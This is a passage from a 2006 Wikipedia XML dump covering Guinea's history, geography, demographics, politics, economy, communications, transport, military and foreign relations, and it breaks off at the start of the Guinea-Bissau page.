The [[Sosso]] kingdom (12th to 13th centuries) briefly flourished in the void but the Islamic [[Mandinka people|Mandinka]] [[Mali Empire]] came to prominence when [[Sundiata Keita|Soundiata Kéïta]] defeated the Sosso ruler, [[Soumaoro Kanté|Soumangourou Kanté]] at the semi-historical [[Battle of Kirina]] in c. [[1235]]. The Mali Empire was ruled by [[Mansa]] (Emperors), the most famous being [[Mansa Musa|Kankou Moussa]], who made a famous [[hajj]] to Mecca in [[1324]]. Shortly after his reign the Mali Empire began to decline and was ultimately supplanted by its [[vassal]] states in the 15th century. 

The most successful of these was the [[Songhai Empire]] which surpassed the Mali Empire in both territory and wealth. It continued to prosper until a civil war over succession followed the death of [[Askia Daoud]] in 1582. The weakened empire fell to invaders from [[Morrocco]] at the [[Battle of Tondibi]] just 3 years later. The Morroccans proved unable to rule the kingdom effectively, however, and it split into many small kingdoms. Fulani Muslims migrated to [[Fouta Djallon]] in Central Guinea and established an Islamic state from [[1735]] to [[1898]] with a written Constitution and alternate rulers.

==Colonial Era==

The [[slave trade]] came to the coastal region of Guinea with European adventurers in the 16th century. Slavery had always been part of every day life but the scale increased as slaves were exported to work elsewhere in the [[triangular trade]]. Some sources suggest that more than half of the population of Sub-Saharan Africa were removed.

Guinea's colonial period began with [[France|French]] military penetration into the area in the mid-19th century. French domination was assured by the defeat in 1898 of the armies of [[Samori|Samory Touré]], Mansa (or Emperor) of the [[Ouassoulou]] state and leader of [[Malinké]] descent, which gave France control of what today is Guinea and adjacent areas.

France negotiated Guinea's present boundaries in the late 19th and early 20th centuries with the [[United Kingdom|British]] for [[Sierra Leone]], the [[Portugal|Portuguese]] for their Guinea colony (now [[Guinea-Bissau]]), and [[Liberia]]. Under the French, the country formed the [[Territory of Guinea]] within [[French West Africa]], administered by a governor general resident in [[Dakar, Senegal|Dakar]]. Lieutenant governors administered the individual colonies, including Guinea.

==Independence==

In [[1958]] the [[French Fourth Republic]] collapsed due to political instability and its failures in dealing with its colonies, especially [[Indochina]] and [[Algeria]]. The founding of a [[French Fifth Republic |Fifth Republic]] was supported by the French people, while France's colonies were given the choice between more [[autonomy]] in a new [[French Community]] and immediate independence. The other colonies chose the former but Guinea — under the leadership of [[Ahmed Sékou Touré]] whose [[Democratic Party of Guinea]] (PDG) had won 56 of 60 seats in [[1957]] territorial elections — voted overwhelmingly for independence. The French withdrew quickly, and on [[October 2]], [[1958]], Guinea proclaimed itself a sovereign and independent republic, with Sékou Touré as president.

De Gaulle withdrew the French administration, with much of the French population following, which took much of the country’s infrastructure and large amounts of capital. Guinea quickly aligned itself with the [[Soviet Union]] and adopted [[Socialism|socialist]] policies. This alliance was shortlived, however, as Guinea moved towards a [[China| Chinese]] model of socialism. Despite this, however, the country continued to receive aid and investment from [[capitalist]] countries such as the [[USA]]. Even the relationship with France improved after the election of [[Valéry Giscard d'Estaing]] as president — trade increased and the two countries exchanged diplomatic visits.

Under Touré, Guinea became a one-party dictatorship, with a closed, socialized economy and no tolerance for human rights, free expression, or political opposition, which was ruthlessly suppressed. Originally credited for his advocacy of cross-ethnic nationalism, Touré gradually came to rely on his own [[Malinké]] ethnic group to fill positions in the party and government.  Alleging plots and conspiracies against him at home and abroad, Touré’s regime targeted real and imagined opponents, imprisoning many thousands in Soviet-style prison [[gulag]]s, where hundreds perished. The regime's repression drove more than a million Guineans into exile, and Touré's paranoia ruined relations with foreign nations, including neighboring African states, increasing Guinea's isolation and further devastating its economy.

Sékou Touré died on [[March 26]], [[1984]] after a simple heart operation in the USA, and was replaced in an interim role by [[Heads of Government of Guinea|Prime Minister]] [[Louis Lansana Beavogui]]. Beavogui’s rule was brief, however, and a military junta headed by [[Lansana Conté]] and [[Diarra Traoré]], seized power on [[April 3]], [[1984]] in a bloodless [[coup]]. Conté assumed the role of president with Traoré as his prime minister.

Conté immediately denounced the previous regime’s record on [[human rights]], released 250 political prisoners and encouraged approximately 200,000 more to return from exile. He also turned away from socialism, but this did little to alleviate poverty and the country showed no immediate signs of moving towards [[democracy]].

In 1992 Conté announcd a return to civilian rule, with a presidential poll (which he won) in 1993 followed by elections to parliament in 1995 (in which his party - the [[Party of Unity and Progress]] - won 71 of 114 seats.) Despite this, Conté's grip on power remained tight. In September 2001 the opposition leader [[Alpha Condé]] was imprisoned for endangering state security, though he was pardoned 8 months later. He subsequently spent a period of exile in France. In 2001 Conté organised and won a referendum to lengthen the presidential term and in 2003 begun his third term after elections were boycotted by the opposition. In [[January 2005]] Conté survived a suspected assassination attempt while making a rare public appearance in the capital [[Conakry]]. His opponents claim that he is a &quot;tired dictator&quot; [http://www.guinea-forum.org/Analyses/index.asp?ana=28&amp;Lang=A] whose departure is inevitable whereas his supporters believe he is winning a battle with dissidents. [[As of 2005]] Guinea still faces very real problems and according to the [[International Crisis Group]] is in danger of becoming a [[failed state]]. [http://www.crisisgroup.org/home/index.cfm?id=3509&amp;l=1]

In 2000 Guinea became embroiled in the instability which had long blighted the rest of [[West Africa]] as rebels crossed the borders with [[Liberia]] and [[Sierra Leone]] and it seemed for a time that the country was headed for [[civil war]]. [http://news.bbc.co.uk/1/hi/world/africa/986375.stm] Conté blamed neighbouring leaders coveting Guinea's natural resources, though these claims were strenuously denied. [http://news.bbc.co.uk/1/hi/world/africa/1102574.stm] In 2003 Guinea agreed plans with her neighbours to tackle the insurgents.

==See also== 
*[[History of Africa]]
*[[History of West Africa]]

==References==
* Elizabeth Blunt. [http://news.bbc.co.uk/1/hi/world/africa/986375.stm Civil war fears in Guinea]. ''BBC News''. October 23, 2000.
* [http://news.bbc.co.uk/1/hi/world/africa/1102574.stm Guinea head blames neighbours]. ''BBC News''. January 6, 2001.
* [http://www.crisisgroup.org/home/index.cfm?id=3509&amp;l=1 Stopping Guinea’s slide]. [[International Crisis Group]], Africa Report No. 94. June 14, 2005.

==External links==
* André R. Lewin. [http://www.african-geopolitics.org/show.aspx?ArticleId=3840 Sékou Touré’s “No”]. ''African Geopolitics.'' 2005.
* [http://www.economist.com/displaystory.cfm?story_id=4198911 Bad government, bad neighbour]. ''The Economist''. July 21, 2005.

{{Africa in topic|History of}}

{{Former French colonies}}

[[Category:Guinea]]

[[fr:Histoire de la Guinée]]
[[pt:História da Guiné]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Guinea</title>
    <id>12178</id>
    <revision>
      <id>40706652</id>
      <timestamp>2006-02-22T13:11:30Z</timestamp>
      <contributor>
        <username>Lupo</username>
        <id>34978</id>
      </contributor>
      <comment>Shaded relief map</comment>
      <text xml:space="preserve">[[Guinea]] is located on the Atlantic Coast of West Africa and is bordered by [[Guinea-Bissau]], [[Senegal]], [[Mali]], [[Côte d'Ivoire]], [[Liberia]], and [[Sierra Leone]]. The country is divided into four geographic regions: A narrow coastal belt ([[Lower Guinea]]); the pastoral [[Fouta Djallon]] highlands ([[Middle Guinea]]); the northern [[savanna]] ([[Upper Guinea]]); and a southeastern rain-forest region ([[Forest Guinea]]). The Niger, Gambia, and Senegal Rivers are among the 22 West African rivers that have their origins in Guinea.

The coastal region of Guinea and most of the inland have a tropical climate, with a rainy season lasting from April to November, relatively high and uniform temperatures, and high humidity. Conakry's year-round average high is 29 &amp;deg;C (85 &amp;deg;F), and the low is 23 &amp;deg;C (74 &amp;deg;F); its average annual rainfall is 4.3 metres (169 inches). Sahelian Upper Guinea has a shorter rainy season and greater daily temperature variations.

[[Image:Guinea Map.jpg|right|thumb|300px|Map of Guinea]]
'''Location:'''
Western [[Africa]], bordering the North [[Atlantic Ocean]], between [[Guinea-Bissau]] and [[Sierra Leone]]

'''[[Geographic coordinates]]:'''
{{coor dm|11|00|N|10|00|W|type:country}}

'''Map references:'''
Africa

'''Area:'''
&lt;br&gt;''total:''
245,857 km²
&lt;br&gt;''land:''
245,857 km²
&lt;br&gt;''water:''
0 km²

'''Area - comparative:'''
slightly smaller than [[Oregon]]

'''Land boundaries:'''
*''total:''
3,399 km
*''border countries:''
[[Côte d'Ivoire]] 610 km, [[Guinea-Bissau]] 386 km, [[Liberia]] 563 km, [[Mali]] 858 km, [[Senegal]] 330 km, [[Sierra Leone]] 652 km

'''Coastline:'''
320 km

'''Maritime claims:'''
&lt;br&gt;''[[exclusive economic zone]]:''
200 [[nautical mile]]s (370 km)
&lt;br&gt;''territorial sea:''
12 nautical miles (22 km)

'''Climate:'''
generally hot and humid; [[monsoon]]al-type rainy season (June to November) with southwesterly winds; dry season (December to May) with northeasterly [[harmattan]] winds

'''Terrain:'''
generally flat coastal plain, hilly to mountainous interior

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
Atlantic Ocean 0 m
&lt;br&gt;''highest point:''
[[Mont Nimba]] 1,752 m

'''Natural resources:'''
[[bauxite]], [[iron ore]], [[diamond]]s, [[gold]], [[uranium]], hydropower, fish

'''Land use:'''
&lt;br&gt;''arable land:''
2%
&lt;br&gt;''permanent crops:''
0%
&lt;br&gt;''permanent pastures:''
22%
&lt;br&gt;''forests and woodland:''
59%
&lt;br&gt;''other:''
17% (1993 est.)

'''Irrigated land:'''
930 km² (1993 est.)

'''Natural hazards:'''
hot, dry, dusty harmattan haze may reduce visibility during dry season

'''Environment - current issues:'''
[[deforestation]]; inadequate supplies of potable water; [[desertification]]; soil contamination and erosion; overfishing, [[overpopulation]] in forest region

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
Biodiversity, Climate Change, Desertification, Endangered Species, Hazardous Wastes, Law of the Sea, Ozone Layer Protection, Wetlands
&lt;br&gt;''signed, but not ratified:''
none of the selected agreements

==See also==
*[[Guinea]]

{{Africa in topic|Geography of}}

[[Category:Geography of Guinea| ]]
[[Category:Geography by country|Guinea]]

[[pt:Geografia da Guiné]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Guinea</title>
    <id>12179</id>
    <revision>
      <id>34641541</id>
      <timestamp>2006-01-10T18:43:29Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{Africa in topic|Demographics of}}</comment>
      <text xml:space="preserve">'''Demographics of Guinea''' includes four main ethnic groups.
*[[Fulbe]] (singular Pullo). Called [[Peuhl]] or [[Peul]] ([[:fr:Peul]]) in French, [[Fula]] or [[Fulani]] in English, who are chiefly found in the mountainous region of [[Fouta Djallon]];
*[[Maninkaa]]. [[Malinke]] in French, [[Mandingo]] in English, mostly inhabiting the [[savanna]] and forest regions;
*[[Soussou]]s. Soussou is a [[lingua franca]] in Guinea, and is commonly spoken in the coastal areas including the capital [[Conakry]]; and
*Several small groups ([[Gerzé]], [[Toma]], [[Kissi]]s, etc.) in the forest region and [[Baga (people)|Baga]]s (including [[Landouma]]s) , [[Koniagi]]s etc... in the coastal area.

West Africans make up the largest non-Guinean population. Non-Africans total about 10,000 (mostly Lebanese, French, and other Europeans). Seven national languages are used extensively; the major written languages are French, Peuhl, and Arabic.

'''Population:'''
7,466,200 (July 2000 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
43.38% (male 1,614,789; female 1,623,691)
&lt;br&gt;''15-64 years:''
53.95% (male 1,966,929; female 2,060,877)
&lt;br&gt;''65 years and over:''
2.68% (male 82,376; female 117,538) (2000 est.)

'''Population growth rate:'''
1.95% (2000 est.)

'''Birth rate:'''
40.08 births/1,000 population (2000 est.)

'''Death rate:'''
17.86 deaths/1,000 population (2000 est.)

'''Net migration rate:'''
-2.68 migrant(s)/1,000 population (2000 est.)
&lt;br&gt;''note:''
over the years Guinea has received several hundred thousand refugees from the civil wars in Liberia and Sierra Leone; by the end of 1999 all Liberian refugees were assumed to have returned; refugees from Sierra Leone are assumed to be returning

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.03 male(s)/female
&lt;br&gt;''under 15 years:''
1 male(s)/female
&lt;br&gt;''15-64 years:''
0.95 male(s)/female
&lt;br&gt;''65 years and over:''
0.7 male(s)/female
&lt;br&gt;''total population:''
0.96 male(s)/female (2000 est.)

'''Infant mortality rate:'''
130.98 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
45.56 years
&lt;br&gt;''male:''
43.16 years
&lt;br&gt;''female:''
48.02 years (2000 est.)

'''Total fertility rate:'''
5.46 children born/woman (2000 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Guinean(s)
&lt;br&gt;''adjective:''
Guinean

'''Ethnic groups:'''
Peuhl 40%, Malinke 30%, Soussou 20%, smaller ethnic groups 10%

'''Religions:'''
Muslim 85%, Christian 8% (mainly [[Roman Catholic Church]], [[Église Evangelique des Frères]] and [[Église Evangelique Protestante]]), indigenous beliefs 7%. 

Official census does not break in ethnicity or religion

'''Languages:'''
French (official), each ethnic group has its own language

'''Literacy:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
35.9%
&lt;br&gt;''male:''
49.9%
&lt;br&gt;''female:''
21.9% (1995 est.)

:''See also :'' [[Guinea]]

{{Africa in topic|Demographics of}}

[[Category:Guinea]]
[[Category:Demographics by country|Guinea]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Guinea</title>
    <id>12180</id>
    <revision>
      <id>38481150</id>
      <timestamp>2006-02-06T17:02:16Z</timestamp>
      <contributor>
        <username>Ravn</username>
        <id>47881</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Transparency]] to [[Transparency (humanities)]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Politics of Guinea}}
'''Country name:'''

''conventional long form:''Republic of Guinea

''conventional short form:''Guinea

''local long form:''Republique de Guinee

''local short form:''Guinee

''former:''French Guinea

'''Data code:'''GV

'''Government type:''' [[Republic]]

'''Capital:''' [[Conakry]]

'''Administrative divisions:'''
4 administrative regions (regions administrative, singular - region administrative) and 1 special zone (zone speciale)*; Conakry*, Guinee, Guinee-Forestiere, Haute-Guinee, Moyen-Guinee

'''Independence:'''
[[2 October]] [[1958]] (from France)

'''National holiday:'''
Anniversary of the Second Republic, [[3 April]] (1984)

'''Constitution:'''
[[23 December]] [[1990]] (Loi Fundamentale)

'''Legal system:'''
Based on French civil law system, customary law, and decree; legal codes currently being revised; has not accepted compulsory ICJ jurisdiction

'''Suffrage:'''
18 years of age; universal

'''International organization participation:'''
ACCT, ACP, AfDB, CCC, ECA, ECOWAS, FAO, G-77, IBRD, ICAO, [[International Criminal Court|ICC]], ICFTU, ICRM, IDA, IDB, IFAD, IFC, IFRCS, ILO, IMF, IMO, Intelsat, Interpol, IOC, IOM (observer), ISO (correspondent), ITU, MINURSO, NAM, OAU, OIC, OPCW, UN, UNCTAD, UNESCO, UNIDO, UPU, WCL, WFTU, WHO, WIPO, WMO, WToO, [[World Trade Organization|WTO]]

'''Flag description:'''
three equal vertical bands of red (hoist side), yellow, and green; uses the popular pan-African colors of Ethiopia; similar to the flag of [[Rwanda]], which has a large black letter R centered in the yellow band

== History ==
The [[president]] governs [[Guinea]], assisted by a [[council]] of 25 civilian [[Political minister|minister]]s appointed by him. The government administers the country through eight regions, 33 [[prefecture]]s, over 100 [[subprefecture]]s, and many [[district]]s (known as [[commune (subnational entity)|commune]]s in [[Conakry]] and other large cities and villages or &quot;quartiers&quot; in the interior). District-level leaders are elected; the president appoints officials to all other levels of the highly centralized administration.

A military [[junta]], led by then-[[Lt. Col.]] [[Lansana Conté]] and styling itself the [[Military Committee of National Recovery]] (CMRN), took control of Guinea in April [[1984]], shortly after the death of independent Guinea's first president, [[Sekou Toure|Sékou Touré]]. With Conté as president, the CMRN set about dismantling Touré's oppressive [[regime]], abolishing the [[authoritarian]] [[constitution]], dissolving the sole political party and its mass youth and women's organizations, and announcing the establishment of the Second Republic. The new government also released all political prisoners and committed itself to the protection of [[human rights]]. The CMRN also reorganized the [[judicial]] system, decentralized the administration, and began to liberalize the economy, promote private enterprise, and encourage foreign [[investment]] in order to reverse the steady economic decline under [[Sekou Toure|Touré]]'s rule by developing the country's natural resources.

In [[1990]], Guineans approved by [[referendum]] a new constitution that inaugurated the Third Republic, and a [[Supreme Court]] was established. In [[1991]], the CMRN was replaced by a mixed military and civilian body, the Transitional Council for National Recovery (CTRN), with [[Lansana Conté|Conté]] as president and a [[mandate]] to manage a 5-year transition to full civilian rule. The CTRN drafted &quot;organic&quot; laws to create republican institutions and to provide for independent [[political parties]], national elections, and [[freedom of the press]]. Political party activity was legalized in [[1992]], when more than 40 political parties were officially recognized.

In December [[1993]], [[Lansana Conté|Conté]] was elected to a 5-year term as president in the country's first [[multi-party]] elections, which were marred by irregularities and lack of [[Transparency (humanities)|transparency]] on the part of the government. In [[1995]], Conté's ruling PUP party won 76 of 114 seats in elections for the National Assembly amid opposition claims of irregularities and government tampering. In [[1996]], President Conté reorganized the government, appointing Sidya Touré to the revived post of [[Prime Minister]] and charging him with special responsibility for leading the government's economic reform program.

== Executive branch: ==
'''chief of state:'''President [[Lansana Conté]] (head of military government since [[5 April]] [[1984]], elected president [[19 December]] [[1993]])

'''head of government:''' Prime Minister [[Cellou Dalein Diallo]] 

'''cabinet:''' Council of Ministers appointed by the president

'''elections:''' president elected by popular vote for a five-year term; candidate must receive a majority of the votes cast to be elected president; election last held [[14 December]] [[1998]] (next to be held NA December 2003); the prime minister appointed by the president

'''election results:'''
[[Lansana Conté]] reelected president; percent of vote - [[Lansana Conté]] (PUP) 56.1%, [[Mamadou Boye Bâ]] (UNR-PRP) 24.6%, [[Alpha Condé]] (RPG) 16.6%,

== Legislative branch: ==
unicameral People's National Assembly or Assemblee Nationale Populaire (114 seats; members are elected by direct popular vote to serve five-year terms)

'''elections:'''last held [[11 June]] [[1995]] (next to be held NA 2000)

'''election results:'''percent of vote by party - NA; seats by party - PUP 71, RPG 19, PRP 9, UNR 9, UPG 2, PDG 1, UNPG 1, PDG-RDA 1, other 1

== Judicial branch: ==
Court of Appeal or Cour d'Appel

== Political parties and leaders: ==
Democratic Party of Guinea or PDG-AST [Marcel CROS]; Democratic Party of Guinea-African Democratic Rally or PDG-RDA [El Hadj Ismael Mohamed Gassim Gushein]; Party for Unity and Progress or PUP [Lansana CONTÉ] - the governing party; Party for Renewal and Progress or PRP [Siradiou DIALLO]; Rally for the Guinean People or RPG [Alpha CONDE]; Union for Progress of Guinea or UPG [Jean-Marie DORE, secretary-general]; Union for the New Republic or UNR [Mamadou Boye BA]

{{Africa in topic|Politics of}}

[[Category:Guinea]]

[[pt:Política da Guiné]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Guinea</title>
    <id>12181</id>
    <revision>
      <id>38992913</id>
      <timestamp>2006-02-10T00:17:14Z</timestamp>
      <contributor>
        <username>Briaboru</username>
        <id>284038</id>
      </contributor>
      <text xml:space="preserve">[[Guinea]] is richly endowed with minerals, possessing an estimated one-third of the world's proven reserves of [[bauxite]], more than 1.8 billion metric tons of high-grade [[iron]] ore, significant [[diamond]] and [[gold]] deposits, and undetermined quantities of [[uranium]]. Guinea also has considerable potential for growth in the agricultural and fishing sectors. Land, water, and climatic conditions provide opportunities for large-scale irrigated farming and agroindustry.

Bauxite mining and alumina production provide about 80% of Guinea's foreign exchange. Several U.S. companies are active in this sector. Diamonds and gold also are mined and exported on a large scale, providing additional foreign exchange. Concession agreements have been signed for future exploitation of Guinea's extensive iron ore deposits. Remittances from Guineans living and working abroad and coffee exports account for the rest of Guinea's foreign exchange.

Since 1985, the Guinean Government has adopted policies to return commercial activity to the private sector, promote investment, reduce the role of the state in the economy, and improve the administrative and judicial framework. The government has eliminated restrictions on agricultural enterprise and foreign trade, liquidated many parastatals, increased spending on education, and vastly downsized the civil service. The government also has made major strides in restructuring the public finances. The IMF and the World Bank are heavily involved in the development of Guinea's economy, as are many bilateral donor nations, including the United States. Guinea's economic reforms have had recent notable success, improving the rate of economic to 5% and reducing the rate of inflation to about 2%, as well as increasing government revenues while restraining official expenditures. Although Guinea's external debt burden remains high, the country is now current on external debt payments.

The government revised the private investment code in 1998 to stimulate economic activity in the spirit of a free enterprise. The code does not discriminate between foreigners and nationals and provides for repatriation of profits. Foreign investments outside [[Conakry]] are entitled to especially favorable conditions. A national investment commission has been formed to review all investment proposals. The United States and Guinea have signed an investment guarantee agreement that offers political risk insurance to American investors through [[OPIC]]. Guinea plans to inaugurate an arbitration court system to allow for the quick resolution of commercial disputes.

Guinea is richly endowed with minerals, possessing an estimated one-third of the world's proven reserves of bauxite, more than 1.8 billion metric tons (MT) of high-grade iron ore, significant diamond and gold deposits, and undetermined quantities of uranium. Guinea also has considerable potential for growth in the agricultural and fishing sectors. Land, water, and climatic conditions provide opportunities for large-scale irrigated farming and agroindustry. Possibilities for investment and commercial activities exist in all these areas, but Guinea's poorly developed infrastructure continues to present obstacles to investment projects.

Lately, with the increase of alumina demand thanks to booming [[China]], there is a renew interest in Guinea riches. The consortium [[Alcan]] and [[Alcoa]], partener with the Guinean government in the CBG mining in north western Guinea, have announced the feasibility study for the construction of a 1 million tpa [[alumina]] smelter. This come with a similar project from canadian start-up Global Alumina trying to come with 2 billions dollars alumina plant in the same region. As of April 2005, the National Assembly of Guinea has not ratified Global's project.

'''GDP:'''
purchasing power parity - $19.5 billion (2004 est.)

'''GDP - real growth rate:'''
1% (2004 est.)

'''GDP - per capita:'''
purchasing power parity - $2,100 (2004 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
25%
&lt;br&gt;''industry:''
38.2%
&lt;br&gt;''services:''
36.8% (2004 est.)

'''Population below poverty line:'''
40% (2002 est.)

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
2.6% (1994)
&lt;br&gt;''highest 10%:''
32% (1994)

'''Inflation rate (consumer prices):'''
18% (2004 est.)

'''Labor force:'''
3 million (1999)

'''Labor force - by occupation:'''
agriculture 80%, industry and services 20% (2000 est.)

'''Unemployment rate:'''
NA%

'''Budget:'''
&lt;br&gt;''revenues:''
$382.7 million
&lt;br&gt;''expenditures:''
$711.4 million, including capital expenditures of NA (2004 est.)

'''Industries:'''
[[bauxite]], [[gold]], [[diamond]]s; [[alumina]] refining; light manufacturing and agricultural processing industries

'''Industrial production growth rate:'''
3.2% (1994)

'''Electricity - production:'''
855 GWh (2002)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
63.55%
&lt;br&gt;''hydro:''
36.45%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
795.2 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
[[rice]], [[coffee]], [[pineapple]]s, palm kernels, [[cassava]] ([[tapioca]]), [[banana]]s, [[sweet potato]]es; cattle, [[domestic sheep|sheep]], [[goat]]s; timber

'''Exports:'''
$709.2 million f.o.b. (2004 est.)

'''Exports - commodities:'''
[[bauxite]], [[alumina]], [[gold]], [[diamond]]s, [[coffee]], fish, agricultural products

'''Exports - partners:'''
South Korea 15.6%, [[Russia]] 13.1%, [[Spain]] 12.3%, [[Ireland]] 9.1%, [[United States]] 7.5%, [[Ukraine]] 5.6%, Belgium 5.2% (2004)

'''Imports:'''
$641.5 million f.o.b. (2004 est.)

'''Imports - commodities:'''
[[petroleum]] products, metals, machinery, transport equipment, textiles, grain and other foodstuffs (1997)

'''Imports - partners:'''
[[Côte d'Ivoire]] 15.5%, [[France]] 9%, Belgium 6.1%, China 6%, South Africa (2004)

'''Debt - external:'''
$3.25 billion (2001 est.)

'''Economic aid - recipient:'''
$359.2 million (1998)

'''Currency:'''
1 Guinean franc (GNF) = 100 centimes

'''Exchange rates:'''
Guinean francs per US dollar - 2,550 (2004), 1,984.9 (2003), 1,975.8 (2002), 1,950.6 (2001), 1,746.9 (2000), 1,292.5 (January 1999), 1,236.8 (1998), 1,095.3 (1997), 1,004.0 (1996), 991.4 (1995)

'''Fiscal year:'''
calendar year

{{WTO}}

[[Category:WTO members|Guinea]]
[[Category:Guinea]]
[[Category:Economies by country|Guinea]]
[[Category:African Union member economies|Guinea]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Guinea</title>
    <id>12182</id>
    <revision>
      <id>15909885</id>
      <timestamp>2004-10-24T19:23:07Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[Category:Communications_by_country]]</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
11,000 (1995)

'''Telephones - [[mobile phone|mobile cellular]]:'''
950 (1995)

'''Telephone system:'''
poor to fair system of open-wire lines, small radiotelephone communication stations, and new [[microwave radio]] relay system
&lt;br&gt;''domestic:''
microwave radio relay and radiotelephone communication
&lt;br&gt;''international:''
[[satellite]] earth station - 1 [[Intelsat]] ([[Atlantic Ocean]])

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
[[AM radio|AM]] 4, [[FM]] 8, [[shortwave]] 3 (1998)

'''Radios:'''
357,000 (1997)

'''[[Television]] broadcast stations:'''
6 (1997)

'''Televisions:'''
85,000 (1997)

'''[[Internet Service Provider]]s (ISPs):'''
NA

'''[[Country code]] (Top-level domain):''' GN

:''See also :'' [[Guinea]]

[[Category:Communications by country|Guinea]]
[[Category:Guinea]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in Guinea</title>
    <id>12183</id>
    <revision>
      <id>38504653</id>
      <timestamp>2006-02-06T20:19:05Z</timestamp>
      <contributor>
        <ip>141.211.191.30</ip>
      </contributor>
      <comment>/* Airports - with paved runways */</comment>
      <text xml:space="preserve">== Railways ==
&lt;br&gt;''total:''
1,086 km
&lt;br&gt;''standard gauge:''
279 km 1.435-m gauge
&lt;br&gt;''narrow gauge:''
807 km 1.000-m gauge (includes 662 km in common carrier service from Kankan to Conakry)

=== Railway links with adjacent countries ===

* [[Transportation in Guinea-Bissau|Guinea-Bissau]] - no railways
* [[Transportation in Senegal|Senegal]] - no - 1000mm gauge
* [[Transportation in Mali|Mali]] - no - 1000mm
* [[Transportation in Côte d'Ivoire|Ivory Coast]] - no - 1000mm gauge
* [[Transportation in Liberia|Liberia]] - no - 1067mm &amp; 1435mm
* [[Transportation in Sierra Leone|Sierra Leone]] - no - 1067mm

== Highways ==
&lt;br&gt;''total:''
30,500 km
&lt;br&gt;''paved:''
5,033 km
&lt;br&gt;''unpaved:''
25,467 km (1996 est.)

== Waterways ==
1,295 km navigable by shallow-draft native craft

== Ports and harbors ==
* [[Boke]], [[Conakry]], [[Kamsar]]

== Merchant marine ==
none (1999 est.)

== Airports ==
15 (1999 est.)

=== Airports - with paved runways ===
&lt;br&gt;''total:''
5
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''2,438 to 3,047 m:''
1
&lt;br&gt;''1,524 to 2,437 m:''
3 (1999 est.)
&lt;p&gt;The airport code for the capital, Conakry, is CKY.

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
10
&lt;br&gt;''1,524 to 2,437 m:''
5
&lt;br&gt;''914 to 1,523 m:''
4
&lt;br&gt;''under 914 m:''
1 (1999 est.)

== See also ==

* [[Guinea]]

{{Africa in topic|Transport in}}

[[Category:Guinea]]
[[Category:Transportation by country|Guinea]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Guinea</title>
    <id>12184</id>
    <revision>
      <id>15909887</id>
      <timestamp>2004-09-20T02:12:52Z</timestamp>
      <contributor>
        <username>Ingoolemo</username>
        <id>71699</id>
      </contributor>
      <minor />
      <comment>categorisation</comment>
      <text xml:space="preserve">Guinea's armed forces are divided into four branches--army, navy, air force, and gendarmerie--whose chiefs report to the Chairman of the Joint Chiefs of Staff, who is subordinate to the Minister of Defense. President Conté appointed his first civilian Minister of Defense in 1997. The 10,000-member army is the largest of the four services. The navy has about 900 personnel and operates several small patrol craft and barges. Air force personnel total about 700; its equipment includes several Russian-supplied fighter planes and transport planes. Several thousand gendarmes are responsible for internal security.

'''Military branches:'''
Army, Navy, Air Force, Republican Guard, Presidential Guard, paramilitary National Gendarmerie, National Police Force (Surete National)

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
1,721,941 (2000 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
869,442 (2000 est.)

'''Military expenditures - dollar figure:'''
$56 million (FY96)

'''Military expenditures - percent of GDP:'''
1.4% (FY96)

==References and Links==
*[[Guinea]]
[[Category:Guinea]]
[[Category:Militaries|Guinea]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Guinea</title>
    <id>12185</id>
    <revision>
      <id>15909888</id>
      <timestamp>2005-04-24T06:53:39Z</timestamp>
      <contributor>
        <username>Livajo</username>
        <id>91707</id>
      </contributor>
      <minor />
      <comment>cat</comment>
      <text xml:space="preserve">[[Guinea]]'s relations with other countries, including with West African neighbors, have improved steadily since 1985. Guinea reestablished relations with [[France]] and [[Germany]] in [[1975]], and with neighboring [[Côte d'Ivoire]] and [[Senegal]] in 1978. Guinea has been active in efforts toward regional integration and cooperation, especially regarding the Organization of African Unity and the Economic Organization of West African States (ECOWAS). Guinea takes its role in a variety of international organizations seriously and participates actively in their deliberations and decisions.

Guinea has participated in both diplomatic and military efforts to resolve conflicts in [[Liberia]], [[Sierra Leone]], and [[Guinea-Bissau]], and contributed contingents of troops to peacekeeping operations in all three countries as part of [[ECOMOG]], the Military Observer Group of [[ECOWAS]]. Guinea has offered asylum to over 700,000 [[Liberia]]n, [[Sierra Leone]]an, and [[Bissau]]an refugees since 1990, despite the economic and environmental costs involved.

'''Disputes - international:''' none

[[Category:Foreign relations by country|Guinea]]
[[Category:Guinea]]</text>
    </revision>
  </page>
  <page>
    <title>Guinea-Bissau</title>
    <id>12186</id>
    <revision>
      <id>39736681</id>
      <timestamp>2006-02-15T14:26:05Z</timestamp>
      <contributor>
        <username>SashatoBot</username>
        <id>743015</id>
      </contributor>
      <minor />
